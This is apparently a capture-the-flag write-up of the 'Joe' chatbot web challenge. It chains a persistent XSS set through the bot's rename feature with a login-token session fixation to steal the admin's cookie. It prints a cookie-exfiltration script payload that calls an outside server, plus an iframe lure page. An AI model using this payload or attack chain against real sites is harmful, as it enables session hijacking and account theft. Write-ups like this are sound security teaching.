Joe, your intelligent conversation partner
For the Joe challenge, you got access to a simple page which looked like a chat. Over a text box you were able to talk with Joe, an “intelligent” conversation partner/bot.
Joe had a few functionalities:
- Print out Joe’s name
- Set a new name
- Some small talk stuff
- Report a bug to an admin
The challenge description already told us to steal the admin cookie, so the last functionality (report a bug) was a good guess how we can interact with the admin.
After inspecting the source, I was not able to find any direct vulnerabilities. Sending a message was - on the first sight - not vulnerable to XSS, because the message was inserted as a text element:
var row = document.createElement('p'); row.className = peer; row.textContent = message; conversation.appendChild(row);
Persistent Cross-Site Scripting Vulnerability
I played a bit with this and changed the name of Joe to some XSS payload (
<img src=x>). Because of the code above, this payload was not executed. After testing a few other things and refreshing the page, I noticed that this payload was now executed. It was present on the page (like a log):
So we have a persistent xss in our own session. How can this help us?
My next focus was on the
/message?msg=foo endpoint. It was the endpoint called when sending a message. The nice part about this endpoint was the last header of the response:
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache Content-Encoding: gzip X-Cloud-Trace-Context: 805d41a72f2623ac1728fed38fcac495;o=1 Vary: Accept-Encoding Date: Mon, 19 Jun 2017 10:45:42 GMT Server: Google Frontend Content-Length: 64 Content-Type: `text/html`
So my idea was like this: Report a bug to this endpoint, where msg contains my actual payload to steal the cookie. Sadly this was not possible, because there was a very simple check against CSRF. To submit a message (and get a response), you had to add a
CSRF-Protection: 1 header. This is not possible with a
fetch, because making a GET request with an additional header results in a “preflight”-request (
OPTIONS), to check for CORS settings.
OPTIONS was not allowed on the server, so this failed. You can read more about this concept here.
So I kept searching for a way to get the admin to join my session. After taking a deeper look at the requests which were made for logging me in, I found this request to fullfill my login:
As can be seen, the
/login endpoint is called and a long token is passed. Maybe this allows to fixate a session?
A session fixation allows to make a “victim” use a session an attacker has control over. Read more here.
So if I can make the admin reuse my session, he will also execute the XSS payload I inserted before as the name (described above). Let’s test it by copying this exact login url from burp and pasting it into a private browser window:
- Prepare our session with some XSS payload as the name
- Send the admin to a link which logs him into our session. This will the also redirect him to the “start” page and execute our payload.
- Our payloads needs to take the cookie and send it to our server.
I then used a simple payload as Joe’s new name (
let me rename you) to send the cookie as a parameter to my server:
<script>document.write('<img src="http://myserver.com?cookie?' + document.cookie);</script>
This appends the current cookie to an url. The image does not exist, but the browser will try to fetch this image anyway so I can see it in my server access logs. Lets report our bug, so the admin visits our prepared page:
As you can see here, I can’t redirect the admin directly to the
/login?toke=... url because it was too long. To work around this I made a simple html file on my server and included this url in an iframe:
<html> <body> <iframe src="https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSUzI1NiIsImtpZCI6ImEyOThhNTZiNmFjMDU0MzEyNTNkNDkwMzA4MTZhNWViZjk5YTEzYzUifQ.eyJhenAiOiIyODQ5NDAzNzA5MjUtY240aWZlZnVrMzNrbjBiODg3cHBwdjVmamI5MWU4cTcuYXBwcy5nb29nbGV1c2VyY29udGVudC5[...]"></iframe> </body> </html>
And here we see our “exploit” worked, we got the flag :)